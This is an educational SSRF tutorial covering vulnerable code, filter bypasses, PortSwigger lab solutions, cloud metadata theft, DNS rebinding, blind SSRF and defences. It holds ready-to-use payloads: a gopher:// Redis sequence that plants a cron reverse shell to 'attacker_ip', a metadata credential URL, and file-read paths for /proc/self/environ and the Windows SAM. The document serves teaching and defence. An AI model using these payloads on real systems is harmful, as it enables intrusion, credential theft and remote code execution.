Server-Side Request Forgery (SSRF) is a vulnerability class where an application on a server can be tricked into issuing network requests (most commonly HTTP/HTTPS, but sometimes other protocols) to arbitrary destinations chosen (fully or partially) by an attacker.
The core security problem originates from the fact that the request is made by the server itself, not by the attacker's machine. This means the request inherits the server's network position, privileges, and trust relationships.
- Requests from an external attacker are usually blocked by firewalls, network ACLs, security groups, or lack of routing.
- Requests from the application server are often allowed to reach internal-only services because they originate "from inside."
This difference turns the vulnerable server into an unwilling proxy under attacker control.
Basics Needed
To grasp SSRF, we must understand three core technical concepts:
- Server-as-Client: Sometimes a backend server acts like a web browser (client) to fetch external data, such as a profile picture from a URL or a web page preview.
- Network Trust Boundaries: Many organizations use firewalls to block external users from accessing internal systems (like databases or admin panels). However, they often trust requests that originate from inside their own network.
- Non-Routable IP Addresses: Internal services often live on private IPs (e.g.,
127.0.0.1for the local machine or192.168.x.xfor the internal network) that cannot be reached directly from the internet.
What is SSRF?
attacker forces a server-side application to make HTTP requests to unintended, often internal locations. Attackers manipulate URLs to bypass firewalls, access sensitive metadata (e.g., 169.254.169.254 in cloud), scan internal networks, and interact with non-public services.
- Target: Internal services, APIs, databases, or cloud metadata endpoints.
- Impact: Unauthorized data access, sensitive information leakage, and potential remote code execution (RCE).
What Exactly Is a "Request" in This Context?
When we say the server "makes a request," we mean it executes code that opens a network socket (TCP usually) and sends bytes according to a protocol.
Most SSRF occurs through libraries that handle URLs, such as:
- Python → requests.get(url), urllib.request.urlopen(url)
- Node.js → http.get(url), fetch(url), axios.get(url)
- Java → new URL(url).openConnection(), HttpURLConnection
- PHP → file_get_contents($url), curl_exec() with CURLOPT_URL
- .NET → HttpClient.GetAsync(url), WebClient.DownloadString(url)
- Ruby → Net::HTTP.get(URI(url))
All these functions parse a URL string → scheme (http/https/file/gopher/dict/etc.) → authority (host:port) → path → query → fragment.
The vulnerability exists when any part of that URL string (or equivalent parameters) comes from untrusted input without sufficient restriction.
Classification of SSRF (Impact-Based)
- Regular / Basic SSRF: Attacker can reach internal IPs/hosts and read responses back → full read SSRF.
- Blind SSRF: Attacker can trigger requests but cannot read responses (e.g., only out-of-band detection via timing, DNS, or external callback).
- RCE-chaining SSRF: SSRF reaches a service that is itself vulnerable (Redis, FastCGI, Jenkins, Docker API, etc.) → remote code execution.
- Cloud Metadata Theft SSRF: (highest business impact) Access to instance metadata services → temporary credentials → full cloud account compromise.
How Does It Happen?
The attack occurs in a typical sequence:
- Input: An attacker finds an application feature that accepts a URL, such as a "Fetch Image from URL" field.
- Manipulation: Instead of a public URL, the attacker inputs an internal address like
http://localhost/admin. - Execution: The server blindly processes this input and sends a request to the internal address.
- Result: The server fetches data from the private resource and, in many cases, returns that sensitive content to the attacker.
Why Does It Happen?
SSRF is caused by a lack of strict input validation. Developers often assume that:
- Users will only provide legitimate external URLs.
- Blacklisting simple terms like "localhost" is enough (it isn't).
- Internal services are safe because they aren't exposed to the public web.
Where Does It Happen?
Common vulnerable features include:
- Webhooks: Services that send data to a user-provided callback URL.
- Image/File Fetchers: Features that let users import profile pictures or documents via URL.
- URL Previews: Social media or messaging apps that "unfurl" a link to show a title and thumbnail.
- PDF Generators: Services that convert a user-supplied URL into a PDF document.
Typical Vulnerable Patterns
1. Classic Vulnerable Node.js Endpoint:
app.get('/fetch', (req, res) => {
const url = req.query.url; // attacker controls this completely
fetch(url) // no validation, no allow-list
.then(r => r.text())
.then(body => res.send(body))
.catch(() => res.status(500).send("Error"));
});
app.get('/fetch', (req, res) => {app: This is your web server instance (usually Express)..get: A function that listens for HTTP GET requests.('/fetch', ...): The first argument is the Path. It tells the server: "If a user goes to://yoursite.com, trigger the logic in the second argument."(req, res) => {: This is the Callback Function.req: The "Request" object. It's a giant bucket containing everything the user sent (headers, cookies, and data).res: The "Response" object. This is the "mouth" of the server used to talk back to the user.=>: The arrow. It means "take the inputs on the left and run the logic on the right."
const url = req.query.url;const: Declares a variable that cannot be changed later.url: The name we gave this variable.req.query: This pulls data from the Query String (everything after the?in a URL)..url: This specifically looks for the key namedurl.
If the user types: ?url=http://google.com, the variable url now holds the string "http://google.com".
- The Flaw: There is zero filtering. The code assumes the user is a "good actor."
fetch(url)fetch: A built-in function that makes a network request.(url): The server now takes that string the attacker provided and makes a Server-Side request.- The Critical Moment: If the attacker puts
http://127.0.0.1:6379(Redis port), the server talks to its own internal database. Because the request is coming from127.0.0.1(itself), the database likely won't ask for a password.
.then(r => r.text())
.then(body => res.send(body)).then: This handles "Promises." It means "Once the fetch is finished, do this next."r => r.text(): Takes the raw response from the internal service and turns it into readable text.body => res.send(body): This is the Data Leak. It takes the secret internal data (body) and sends it back to the attacker's browser usingres.send.
Attack:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name2. The "Naive" Python Guard
# Flask
@app.route("/import")
def import_image():
url = request.args.get("image_url")
if not url.startswith("https://images.example.com/"): # naive prefix check
return "Invalid", 403
response = requests.get(url, timeout=5)
return send_file(BytesIO(response.content), mimetype="image/jpeg")
@app.route("/import")
def import_image():@app.route: A "Decorator." It wraps the function below it and tells the Flask framework: "Route all traffic from/importto this function."
url = request.args.get("image_url")request.args.get: Same asreq.queryin Node.js. It pulls the user's input from the URL parameters.
if not url.startswith("https://images.example.com/"):
return "Invalid", 403.startswith(): This is a string method. It checks if the first few characters match exactly.- The Logic: The developer thinks: "I'll only allow images from my own trusted domain."
- The Failure: It doesn't check the structure of the URL, only the characters at the start.
Bypass examples:
These exploit how computers "read" a URL differently than how a human "reads" a string.
https://images.example.com@127.0.0.1 https://images.example.com: The code's.startswith()check sees this and says "OK, this is safe."@: In URL syntax, this symbol separates Credentials from the Host.- The Result: The
fetchlibrary sees everything before the@as a username and everything after as the real destination. It ignores your "trusted" domain and hits the local server.
The @ symbol in a URL is a reserved character used as a separator in the user information section to specify Authentication details for a resource.
The full structure of a URL is defined by RFC, which includes a specific place for the @ symbol within the authority part of the URI:
scheme://[userinfo@]host[:port]/path[?query][#fragment]The @ symbol separates the userinfo (which typically contains a username and, optionally, a password) from the host (the domain name or IP address).
- Syntax:
http://username:password@example.com- Purpose: This was designed to provide credentials for built-in, protocol-level authentication (like HTTP Basic Authentication or FTP authentication).
While technically part of the URL specification, the use of
@for this purpose is generally deprecated and rarely seen in modern web browsing.
2. The # (Fragment) Bypass
https://images.example.com#@127.0.0.1/#: This indicates a "fragment" (like a scroll-to-section link).- The Result: Some URL parsers get confused. They see the "safe" start, but a secondary parser inside the server might stop reading at the
#or misinterpret the@following it, causing it to route to a different IP than intended.
This lab is a masterpiece in teaching "Parser Differential" — the conflict between how the Security Filter sees a URL and how the Fetching Library sees it.
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter
The Lesson: The "Double-Encoded Fragment" Trick
The goal is to hide localhost inside the "Username" field of the URL so the filter thinks the destination is the "Safe" domain (stock.weliketoshop.net).
- Why the Solution works
http://localhost:80%2523@stock.weliketoshop.net...Here is exactly what happens at each layer of the server:
Layer A: The Security Filter
- The filter receives the string. It sees
%2523. - It decodes it once to
%23(the#symbol). - The string now looks like:
http://localhost:80%23@stock.weliketoshop.net/admin...it sees everything after the @ as the Host and let it pass throught :@stock.weliketoshop.net and thinks: "This is a request to our trusted stock server. Access Granted!"
Layer B: The Fetching Library (The "Worker")
- The filter hands the URL to the library that actually makes the request (like
cURL). - The library decodes it a second time.
- The
%23becomes a real#. - Now the URL is:
http://localhost:80#@stock.weliketoshop.net/admin...- The "Magic" Interpretation: To the fetching library,
localhost:80is the Host. The#@stock.weliketoshop.netis discarded as a fragment. - The Result: The server makes a request to itself (
localhost) on port 80 to the path/admin/delete.
Why the "Internal Server Error" was suspicious?
When i tried username%2523@stock..., the server crashed. This told me:
- The server successfully decoded the
%2523into#. - It then tried to use the part before the
#as the hostname. - Since
usernameisn't a real server, the connection failed. - The Lightbulb Moment: If it tried to connect to
username, we can replaceusernamewithlocalhost!
The Final "Why"
The correct answer is:
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carloslocalhost:80: This is the real target (The Internal Admin Panel).%2523: This is a double-encoded#. It hides the target from the filter.@stock.weliketoshop.net: This is the "Bait." It tricks the allowlist filter into thinking the request is going to a trusted domain.
The Lesson: Never trust a URL parser. A single character like # or @ can completely change what a computer thinks is the "Destination" vs. what is the "Username." To defend against this, the developer should have parsed the URL once, extracted the final destination host, and checked only that host against the allowlist.
3. IP Encoding (The "Translator" Bypass):
Computers read IP addresses as math, not just dots and numbers.
2130706433 (Decimal):
http://2130706433/An IP is four 8-bit numbers. 127.0.0.1 is (127 * 256^3) + (0 * 256^2) + (0 * 256^1) + (1 * 256^0).
- The Result: If a developer blocks the string
"127.0.0.1", this number sails right through the filter, but the networking card still routes it to the local machine.
0177.0.0.1 (Octal):
http://0177.0.0.1/- The leading
0tells the computer to read this in Base-8. 177in Base-8 is127in Base-10.
0x7f.0x0.0x0.0x1 (Hexadecimal):
http://0x7f.0x0.0x0.0x1/
http://0x7f.0.0.1/0xtells the computer this is Base-16.7fis127.
Why do we even have multiple forms like decimal, octal, Hex …?
at the lowest physical level (transistors), it's all 1s and 0s (Binary). We use Decimal, Octal, and Hex because humans are terrible at reading binary.
Think of it as shorthand. If I ask you to memorize 11111111, you might miscount a 1. If I say 255 (Decimal) or FF (Hex), it's much harder to mess up.
1. Decimal (Base-10): The Human Interface
- Why: We have 10 fingers. Since infancy, our brains are hard-wired to think in groups of ten.
- Use: We use this to show data to users (prices, ages, distances). Computers immediately convert our "10" into
1010to process it.
2. Hexadecimal (Base-16): The "Golden Standard" for Coders
This is the most important one in SSRF and programming.
- The Logic: One Hex character (0-F) represents exactly 4 bits (a "nibble"). Two Hex characters represent exactly 8 bits (1 Byte).
- Binary
1111= HexF - Binary
1111 1111= HexFF - Why we use it: It is perfectly "aligned" with computer memory. An IPv4 address is 32 bits. In binary, that's a nightmare string of thirty-two 1s and 0s. In Hex, it's just 8 characters. It's compact and maps directly to the hardware without "remainder" bits.
3. Octal (Base-8): The "Legacy" Grouping
- The Logic: One Octal character represents exactly 3 bits.
- Binary
111= Octal7. - Why we use it: It was popular on older 36-bit systems (divisible by 3). Today, you mostly see it in File Permissions (e.g.,
chmod 777) because Unix permissions are grouped in sets of 3 (Read, Write, Execute).
Computers are designed to be "helpful." When a programmer writes code like
fetch("http://0x7f.0.0.1")the low-level Networking Library sees the 0x and says: "Oh, the human gave me a Hex shortcut! Let me 'expand' that into binary 01111111 for the network card."
The SSRF vulnerability exists because:
- The Security Filter is looking at the String (e.g., "Does this text look like 飗.0.0.1'?")
- The Network Card is looking at the Value (The binary 1s and 0s).
The attacker uses Hex/Octal/Decimal to disguise the value as a different-looking string, tricking the dumb security filter while still delivering the "correct" 1s and 0s to the computer's engine.
if we looked at PortSwigger Lab in this:
https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter
The "Blacklist"
The lab we are solving has a security filter (often a Web Application Firewall or a specific function in the code) that is looking for "bad words."
- The Rule: "If the URL contains the string
admin, block the request." - The Goal: To prevent users from accessing
http://127.0.0.1/admin.
Why 127.1 works (The IP Bypass)
The developer likely blocked the literal string 127.0.0.1.
- The Logic: As we discussed earlier, the operating system's network stack is "lazy." When it sees
127.1, it assumes the missing parts are zeros. - Result: It expands
127.1to127.0.0.1. The filter missed it because it was only looking for the full string with all the dots.
Why Double-Encoding %2561 works (The Encoding Bypass)
This works because of Recursive Decoding.
Step 1: The Character
The letter is a.
Step 2: Single Encoding
If you URL-encode a, it becomes %61 (61 is the hex code for 'a').
- If you sent this: The filter would decode
%61→a, see the wordadmin, and block you.
Step 3: Double Encoding
To double-encode, you encode the % symbol itself. The hex code for % is 25.
- So,
%61becomes%2561.
Step 4: The "Bypass" Logic
- The Request arrives: You send
http://127.0.0.1/%2561dmin/ - The Security Filter checks it:
- The filter decodes it once.
%25becomes%.- The string is now
%61dmin. - The filter looks at
%61dminand says: "This doesn't say 'admin', it says '%61dmin'. Access Granted!"
The Backend Fetcher takes over:
- The backend (like a library or a secondary internal service) receives the "safe" string
%61dmin. - It decodes it again before making the actual request.
%61becomesa.- The final destination becomes
http://127.0.0.1/admin.
The "PortSwigger" Lesson:
The defense was a Blacklist. Blacklists are weak because they can't predict every way a character can be represented. The correct defense would have been an Allowlist (only allow http://trusted-api.com) or a filter that decodes the input until no more encoding remains before checking it.
The "Gold Mines" an attacker looks for after they have successfully found an SSRF vulnerability:
If the server is a "puppet" you control, these are the secret rooms you tell the puppet to enter.
1. Cloud Instance Metadata Services
the "Cloud" part is the most confusing because it's a physical reality that feels like magic. Let's strip away the tech-speak and use an analogy.
The Hotel Intercom
Imagine a high-security hotel (The Cloud).
- The Guest (The Server): You are a guest in Room 101.
- The Front Desk (The Cloud Provider): They manage everything.
- The Intercom (The Metadata IP
169.254.169.254): Every room has a special phone. If you pick it up, it connects only to the Front Desk. You don't even have to dial a number.
How it's supposed to work: You (the Guest) pick up the phone and say, "I'm in Room 101, please give me the key to the mini-bar." The Front Desk knows you are in Room 101 because you're using the room's internal phone. They give you the key.
How the SSRF Attack works: An attacker is outside the hotel. They can't get in. But they find a way to shout through your window (The SSRF Vulnerability). They trick you into picking up that internal phone and saying exactly what they want: "Ask the Front Desk for the master key to the whole hotel and read the numbers out loud to me through the window."
Because the Front Desk trusts the internal phone, they give the "master key" (IAM Credentials) to you. You then repeat those numbers to the attacker outside. Now the attacker has the master key to the entire hotel.
Why does this exist in the Cloud?
In a normal home computer, if you want to connect to a database, you hard-code a password. In the Cloud, we have thousands of servers starting and stopping every second. We can't manually type passwords into all of them.
Instead, the Cloud Provider says: "Don't worry about passwords. If your server needs to talk to the database, just have it call the 'intercom' (169.254.169.254). We will recognize the server and give it a temporary 'ID Card' (Token) to use."
the "Loot" Table
If an attacker uses SSRF to hit http://169.254.169.254, the server responds with this:
{
"Code" : "Success",
"AccessKeyId" : "ASIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "FQoDYXdzEJb...[very long string]",
"Expiration" : "2025-10-27T12:00:00Z"
}What just happened?
- AccessKeyId & SecretAccessKey: These are like a username and password.
- Token: This is the "ID Card" that proves the server is allowed to be there.
- The Disaster: The attacker copies these three strings into their own computer. Now, their computer "becomes" your server. They can delete your backups, steal your customer data, or start 100 crypto-mining servers on your bill.
Why is the IP 169.254.169.254 so weird?
It's called a Link-Local Address. It is a special range of IPs reserved by networking standards that cannot travel over the internet.
- If you try to go to
169.254.169.254on your laptop right now, it will fail. - It only works if you are physically (or virtually) plugged into that specific network.
That is why SSRF is the only way to hit it — the attacker has to "teleport" their request inside your server's network card.
Technical POV :
In modern cloud environments (AWS, Azure, GCP), servers are designed to be "stateless" and dynamic. To function, they need a way to figure out who they are and what permissions they have without you having to manually type in a password every time a new server starts up.
The Instance Metadata Service (IMDS) is the solution. It is a local API that acts like an "ID card" for each server.
1. The "Magic IP": 169.254.169.254
Cloud providers use a specific link-local address (169.254.169.254) as the "intercom" between the virtual machine and the cloud's management system.
- Non-Routable: This IP cannot be reached from the public internet. It only exists "inside" the server's local connection.
- Universal: Whether you are on AWS, Azure, or GCP, the address is almost always the same, making it a "golden target" for attackers who can use automated scripts to look for it.
2. What's Inside? (The Loot)
When an attacker successfully uses SSRF to "speak" to this IP, they are looking for specific sensitive information:
- IAM Security Credentials: This is the most dangerous. The cloud gives the server temporary access keys (AccessKeyId, SecretAccessKey, and SessionToken) so it can access other services like S3 buckets or databases.
- User Data: Scripts provided by the developer during server setup, which often contain hidden passwords, API keys, or configuration secrets.
- Network Info: Details about the internal network (VPC), private IP addresses, and security groups that help an attacker map out the rest of the company's private network.
(IMDSv2): Modern clouds now require a special "Token" (a header) to prevent simple SSRF. If the attacker can't add custom headers to their SSRF, they can't steal the keys.

2. Internal Network Services
When we talk about Internal Network Services in SSRF, we are talking about the "Soft Underbelly" of a company.
Most companies spend millions on a "Hard Shell" (Firewalls to keep people out). But once you are inside the server room, everything is usually wide open. SSRF is the tunnel that lets an attacker get inside that shell.
The "Trust" Problem (Why it's dangerous)
In a normal home, you lock your front door. But do you lock your kitchen cabinets? Probably not. Internal services act like kitchen cabinets.
- No Passwords: Developers often disable passwords for internal databases (like Redis or MongoDB) because "only our other servers can talk to them anyway."
- No Encryption: Traffic is often sent in plain text because "the network is private."
- Old Versions: Companies often run old, vulnerable software internally because they think, "It's not on the internet, so nobody can hack it."
Target: Redis
127.0.0.1:6379Redis is a super-fast "in-memory" database.
- The Exploit: Redis has a feature where you can change its configuration while it's running.
- The Attack: Through SSRF, an attacker sends a command to Redis: "Hey, change your 'storage directory' to the folder where the website's code lives, and save a file named 'hack.php' that contains a back-door."
- Result: The attacker now has a web shell and full control over the server (Remote Code Execution).
3. Target: Docker API
localhost:2375Docker is what runs "containers" (mini-servers).
- The Exploit: Docker has an "API" that lets you control it via web requests. It is usually unprotected if it's only listening on the internal network.
- The Attack: The attacker uses SSRF to tell the Docker API: "Start a new container, but link the real server's hard drive to it."
- Result: This is a Container Breakout. The attacker can now see every file on the physical host machine, not just the isolated container.
4. Target: Kubernetes API
[::1]:8080Kubernetes manages hundreds of servers at once.
- The Exploit: The "Kubelet" or API server often has a read-only port or an unauthenticated port for "health checks."
- The Attack: The attacker hits this port to see a list of every other server in the company, what they are doing, and what secret keys they are using.
- Result: Total cluster takeover.
5. Target: The "Intranet" and Admin Panels
Every big company has internal websites for employees:
http://10.0.0.1
http://internal-payroll.local
http://router-config.internalThe SSRF Logic: If you try to visit these from your house, you get a "404 Not Found" or "Timed Out" because those addresses don't exist on the public internet. But when the server visits them via SSRF, it's like an employee sitting at their desk. The admin panel sees the request coming from an "Internal IP" and says, "Welcome back, Admin! No password needed."
Bottom Line:
- Find SSRF: You find a way to make the server fetch
http://google.com. - Internal Scanning: You change the URL to
http://192.168.1.1, then1.2, then1.3... until you get a response. This is called Internal Reconnaissance. - Identify Service: You find that
192.168.1.50:5432is open. That's a PostgreSQL database. - Exploit: You use the SSRF to send database commands to delete tables or steal user data.
SSRF turns a single web vulnerability into a "Portal Gun" that lets the attacker walk around the company's private datacenter.
When a developer uses a fetching library (like curl in PHP or urllib in Python), they often assume it will only be used for http:// or https://. However, many of these libraries are "multilingual"—they support dozens of other Protocols.
If an attacker can change the Scheme (the part before the ://), they can force the server to talk to itself in ways the developer never intended.
3. The File Protocol (file://)
The file:// scheme is used to access files on the local file system of the machine running the code. In an SSRF context, this turns a "Web Request" into a "Local File Read."
file:///etc/passwd- What it is: A standard file on all Linux/Unix systems.
- The Content: It lists all user accounts, home directories, and shell types.
- The Goal: Attackers use this as a "Proof of Concept" (PoC) to prove they have file-read access. It also helps map out usernames for brute-force attacks.
file:///proc/self/environ- What it is: A virtual file in Linux that represents the Environment Variables of the running process.
- The Content: This is a gold mine. It often contains
DATABASE_PASSWORD,AWS_ACCESS_KEY,SECRET_KEY_BASE, and other sensitive credentials that developers "hide" in environment variables.
file:////localhost/c$/Windows/system32/config/SAM (Windows SMB)- What it is: This targets the Security Account Manager (SAM) file on Windows.
- The Content: It contains the hashed passwords for all local users.
- The Mechanism: This specifically uses a "UNC Path" style. If the server tries to access this, it might even leak the server's NTLM credentials to an attacker-controlled SMB share.
4. Dangerous Protocols (gopher://, dict://, etc.)
These protocols are dangerous because they are "Protocol Smugglers." Unlike HTTP, which has a very strict format, these allow an attacker to send raw, custom data to any internal port.
The Gopher Protocol (gopher://)
Gopher was a competitor to the World Wide Web in the early 90s. It is extremely simple: it sends a string of text to a port and follows it with a "New Line."
The Redis RCE : Redis is a database that talks in a language called RESP (Redis Serialization Protocol). It doesn't use passwords by default if accessed locally.
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2444%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker_ip/4444 0>&1%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0ALook at the symbols:
%0D%0A: This is the URL-encoded version of\r\n(the Enter key).flushall: This tells Redis to delete everything (to make room for the attack).set 1 "...bash -i >& /dev/tcp/...": This creates a database entry containing a Reverse Shell command.config set dir /var/spool/cron/: This tells Redis: "Change your save folder to the system's Scheduled Tasks folder."config set dbfilename root: This tells Redis: "Name the database fileroot."save: This forces Redis to write the "database" (which now contains the malicious bash command) to the file/var/spool/cron/root.
The Result: The Linux system sees a new "Scheduled Task" for the root user. Within 60 seconds, the server executes the bash command and connects back to the attacker's computer, giving them a root shell.
The Dict Protocol (dict://)
- The Use: Originally meant for looking up definitions in dictionaries.
- The Danger: Like Gopher, you can use it to send a single command to any port. For example:
dict://127.0.0.1:11211/statsthis would force the server to reveal statistics from a local Memcached server.
sftp://127.0.0.1:Secure file transfer. for Port scanning or bypassing firewalls.
1. IP Address Obfuscation (The "Parser vs. Math" War)
Computers don't see 127.0.0.1 as a string; they see a 32-bit integer. Filters fail because they look for "127" (text), while the server's network card looks for the value.
Decimal (2130706433):
- The Math: An IP is four 8-bit blocks.
127 times 256^{3}+0 times 256^{2}+ 0 times 256^{1} + 1 = 2130706433- The Bypass: If a developer blocks the string
"127", this number has no "127" in it. But the OS networking library (libc) will automatically convert this single large number back to127.0.0.1before the request is sent.
Octal (0177.0.0.1):
- The Logic: In programming, a leading
0tells the computer to read in Base-8.
The Bypass: 177 in Base-8 is 127 in Base-10.
A filter looking for "127" sees "177" and lets it through.
The computer then translates it back to 127.IPv6 Wrap (::ffff:127.0.0.1):
- The Logic: This is an "IPv4-mapped IPv6 address."
- The Bypass: Most security filters only check IPv4 patterns (four dots). By wrapping the IPv4 in an IPv6 format, you bypass the filter, but the server's dual-stack network card still routes the request to the local IPv4
127.0.0.1.
2. URL Parsing Confusion (The "Component" Fight)
A URL is made of parts:
Scheme://User:Pass@Host:Port/Path?Query#FragmentDifferent coding libraries (Node.js vs. Python vs. cURL) disagree on where one part ends and the other begins.
http://127.0.0.1#@example.com/- The Filter: Sees
@example.comand assumes the Host isexample.com(Safe). - The Fetcher: Sees the
#first and treats everything after it as a Fragment (ignored). It sees the Host as127.0.0.1.
Unicode / IDN :
http://127.ⓞ.ⓞ.ⓞ- The Logic:
ⓞis a special character. - The Bypass: The filter thinks "This isn't an IP address." However, many libraries perform Normalization. They flatten
ⓞinto0right before the request is made.
3. Open Redirect Chaining
https://trusted-cdn.com/redirect?to=http://169.254.169.254/...- The Scenario: You give the server a URL:
https://trusted-cdn.com. - The Check: The server's code checks:
if url.startsWith("https://trusted-cdn.com")It passes!
- The Trap: The server's fetching library (like
requestsin Python) has a setting calledallow_redirects=True. - The Result: The server visits the trusted site. The trusted site tells the server "Go to 169.254.169.254." The server trusts the redirect and hits the secret internal metadata.
4. DNS Rebinding (The "Time-of-Check to Time-of-Use" Attack)
DNS Rebinding is arguably the most sophisticated SSRF bypass. It is a timing attack that exploits how computers cache (remember) IP addresses.
To understand this, we must first understand the TOCTOU problem:
Time Of Check to Time Of Use.
- The "Bait and Switch"
Normally, when you type google.com, your computer asks a DNS server: "What is the IP?" The DNS server says 8.8.8.8. Your computer then remembers (caches) this for a few minutes so it doesn't have to keep asking.
In a DNS Rebinding attack, the attacker provides a domain name that constantly changes its mind about where it lives.
2. The Attack Steps
Imagine a server that has this security logic:
- Check: Ask DNS for the IP of the user-provided URL.
- Verify: If the IP is internal (like
127.0.0.1), Block it. - Fetch: If the IP is public (like
1.1.1.1), Go get the data.
Step A: Setting the Trap
The attacker sets up a custom DNS server for a domain they own . They configure the TTL (Time To Live) to 0 seconds. This tells the world: "Do not remember this IP. Ask me again every single time you want to use it."
Step B: The First Request (The Check)
The attacker submits http://attacker-site.com to the vulnerable server.
- The server's Security Filter asks the DNS: "Where is
attacker-site.com?" - The attacker's DNS server replies:
34.21.5.81(A harmless, public IP). - The Security Filter thinks: "Okay,
34.21.5.81is on the public internet. This is safe. Access Granted."
Step C: The Switch (The Use)
A few milliseconds later, the server's Fetching Library (the code that actually downloads the page) prepares to make the request. Because the TTL was 0 (TTL Expires) , it has to ask the DNS again.
- The Fetching Library asks: "Where is
attacker-site.com?" - The attacker's DNS server now lies. It replies:
127.0.0.1. - The Fetching Library says: "Okay, going to
127.0.0.1!"
Step D: The Result
The server fetches its own internal admin panel and sends the data back to the attacker. The security filter was tricked because the "target" moved between the moment it was checked and the moment it was used.
Why does this work?
A. The TTL (Time To Live) Trick
DNS records usually have a TTL of 3600 seconds (1 hour). In DNS Rebinding, we use a TTL of 0 or 1. This forces the target server to perform a fresh DNS lookup for every single step of its internal code.
B. The DNS Server Logic
The attacker doesn't just use a standard DNS provider. They use a Programmatic DNS Server (like whonow or rbndr). The code for the DNS server looks like this:
count = 0
def handle_dns_request():
global count
count += 1
if count == 1:
return "34.21.5.81" # The "Safe" IP for the Filter
else:
return "127.0.0.1" # The "Evil" IP for the FetcherHow we can Defend Against This?
Simple IP blacklisting fails against DNS Rebinding. To stop it, we must use DNS Pinning:
- Resolve once: The server resolves the domain to an IP address.
- Check: The server checks if that IP is in a private range (like
127.0.0.1or169.254.169.254). - Pin it: The server ignores any future DNS lookups. It forces the fetcher to use the exact IP that was just verified.
- Connect to the IP: Instead of telling the fetcher to go to
http://attacker-site.com, the code tells it to go tohttp://34.21.5.81and manually sets the "Host" header toattacker-site.com.
Tools: rbndr, nip.io (127–0–0–1.nip.io)
Header Injection / Request Smuggling
Header Injection is a high-level exploitation technique where an attacker "smuggles" extra instructions into the server's outgoing request.
1. CRLF Injection
This attack is powered by two special invisible characters: CR (Carriage Return) and LF (Line Feed).
- Symbol:
\r\n - URL Encoded:
%0D%0A - What it does: It tells the computer "This line of text is finished; start a new one."
HTTP requests are just stacks of text lines separated by these characters. By injecting %0D%0A into a URL parameter, you can end the server's "safe" request prematurely and start your own malicious lines.
2. Smuggling "New" Headers
If a server uses your input to create a request, you can add headers that bypass security.
Normal Request by Server:
GET /api/data?id=123 HTTP/1.1
Host: internal-serviceSmuggled Request:
GET /api/data?id=123%0D%0AX-Admin: true HTTP/1.1
Host: internal-serviceThe internal service sees the X-Admin: true header and might give you administrative access because it thinks the "trusted" server added it.
3. Protocol Smuggling (SSRF to RCE)
This is where Header Injection becomes lethal. If you can inject multiple CRLF sequences (%0D%0A%0D%0A), you can end the entire header section and start the Body of a request—or even start an entirely second request.
As our Previous example about Attacking Redis via Gopher:
Internal services like Redis or Memcached are "line-based". They read one line, execute it, and move to the next.
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...gopher://: A protocol that sends raw bytes without the strict rules of HTTP.%0D%0A: Every time Redis sees this, it thinks "The user just pressed the Enter key."- Command Execution: The attacker sends a sequence like:
flushall(Enter)set key value(Enter)save(Enter)
The vulnerable server's library sends this as one long string, but the internal Redis service interprets it as a series of legitimate commands.
Why Header Injection Happens?
- Inconsistent Parsing: Modern systems often use multiple "hops" (Front-end → Proxy → Backend). If the Front-end doesn't care about a
%0D%0Abut the Backend does, the Backend can be tricked into seeing two requests when the Front-end only saw one. - Implicit Trust: Internal APIs often don't require passwords if a certain header (like
X-Internal-Secret) is present. Header injection lets an external attacker forge that secret.
To defend against this, developers should use safe URL builders that automatically strip or encode newline characters (\r and \n) before the request is ever sent.
Blind SSRF Vulnerabilities
Blind SSRF is a stealthy version of the attack where you can still manipulate the server into making a request, but you cannot see the response in your browser. It's like firing a gun into a dark room: you know you pulled the trigger, but you don't know if you hit anything unless you hear a scream or a crash.
How It Works
In a regular SSRF, the server fetches data and shows it to you. In a Blind SSRF, the server might fetch the data and then:
- Discard it.
- Just return a generic "Success" or "Error" message.
- Process it in the background (asynchronous).
Why It Works
The root cause is exactly the same as regular SSRF: the application trusts user input to construct a server-side request without proper validation. It happens most often in:
- Analytics & Loggers: Servers that visit a URL to log information.
- Webhooks: Services that send a "ping" to a user-provided URL when an event happens.
- PDF/Thumbnail Generators: Background tasks that fetch content to render it later.
Exploitation
To perform Blind SSRF exploitation, you have to stop looking at the "Response Body" and start looking at metadata (Time and External Logs).
Method 1: Out-of-Band (OOB) Detection
This is the industry standard for finding Blind SSRF. You use a server that "shouts" when it gets hit.
- Get a Listener: Open Burp Collaborator (or use
interact.shin your terminal). - Copy your unique address:
xyz123.oastify.com. - Inject: Paste that into the vulnerable parameter:
stockApi=http://xyz123.oastify.com - Check Logs: Look at your Collaborator tab.
- If you see a DNS lookup: The server tried to find you (Confirmed SSRF).
- If you see an HTTP request: The server actually reached out to you (Confirmed High-Impact SSRF).
- The Bonus: Look at the User-Agent in the logs. It might tell you exactly what library the server is using (e.g.,
curl/7.81.0orPython-urllib/3.10).
Method 2: Internal Port Scanning (Timing-Based)
If the server doesn't show you the content of 127.0.0.1:6379, you use your stopwatch (or Burp Suite's "Response Received" column).
- Port is OPEN: The server connects immediately. Total time: 50ms.
- Port is CLOSED: The server's OS immediately says "Connection Refused." Total time: 60ms.
- Port is FILTERED (Firewall): The server waits for a timeout. Total time: 5,000ms+.
Steps:
- Capture the request in Burp Suite Intruder.
- Set the payload on the port number:
http://127.0.0.1:§port§. - Load a list of common ports (80, 443, 6379, 8080, 2375).
- Crucial: Add the "Response received" column to your results.
- Sort by time. If most ports take 5 seconds, but port 6379 takes 40ms, you have found Redis.
Method 3: Blind Data Exfiltration (The "DNS Leak")
